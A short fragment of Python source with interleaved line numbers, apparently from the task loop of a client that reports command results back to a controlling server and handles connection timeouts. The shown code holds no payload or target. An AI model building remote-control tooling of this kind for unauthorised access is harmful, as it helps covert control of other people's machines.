result = "{} error: {}".format(self.run.__name__, str(e)).encode()
1070
log(result)
1071
1072
1073
# send response to server
1074
task.update({'result': result})
1075
self.send_task(task)
1076
1077
if not self.gui:
1078
self.flags.prompt.set()
1079
elif self.flags.prompt.set() and not self.flags.connection.wait(timeout=1.0):
1080
self.kill()
1081
else:
1082
log("Connection timed out")
1083
break
1084
1085